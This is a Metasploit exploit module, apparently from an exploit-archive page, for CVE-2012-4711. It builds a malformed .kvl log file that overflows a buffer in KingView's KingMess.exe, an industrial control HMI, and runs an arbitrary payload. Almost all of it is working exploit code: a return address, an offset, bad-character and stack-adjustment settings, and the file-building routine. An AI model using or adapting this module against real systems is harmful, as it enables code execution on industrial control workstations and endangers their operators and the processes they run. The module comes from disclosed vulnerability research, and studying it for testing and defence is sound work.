KingView – Log File Parsing Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info={}) super(update_info(info, 'Name' => "KingView Log File Parsing Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability found in KingView <= 6.55. It exists in the KingMess.exe application when handling log files, due to the insecure usage of sprintf. This module uses a malformed .kvl file which must be opened by the victim via the KingMess.exe application, through the 'Browse Log Files' option. The module has been tested successfully on KingView 6.52 and KingView 6.53 Free Trial over Windows XP SP3. }, 'License' => MSF_LICENSE, 'Author' => [ 'Lucas Apa', # Vulnerability discovery 'Carlos Mario Penagos Hollman', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ ['CVE', '2012-4711'], ['OSVDB', '89690'], ['BID', '57909'], ['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-043-02.pdf'] ], 'Payload' => { 'Space' => 1408, 'DisableNops' => true, 'BadChars' => "\x00\x0a\x0d", 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Platform' => 'win', 'Targets' => [ [ 'KingView 6.52 English / KingView 6.53 Free Trial / Kingmess.exe 65.20.2003.10300 / Windows XP SP3', { 'Offset' => 295, 'Ret' => 0x77c35459 # push esp # ret # msvcrt.dll } ] ], 'Privileged' => false, 'DisclosureDate' => "Nov 20 2012", 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [true, 'The filename', 'msf.kvl']) ], self.class) end def exploit version = "6.00" version << "\x00" * (0x90 - version.length) entry = "\xdd\x07\x03\x00\x03\x00\x0d\x00\x0c\x00\x31\x00\x38\x00\xd4\x01" entry << rand_text_alpha(target['Offset']) entry << [target.ret].pack("V") entry << rand_text_alpha(16) entry << payload.encoded kvl_file = version kvl_file << entry file_create(kvl_file) end end |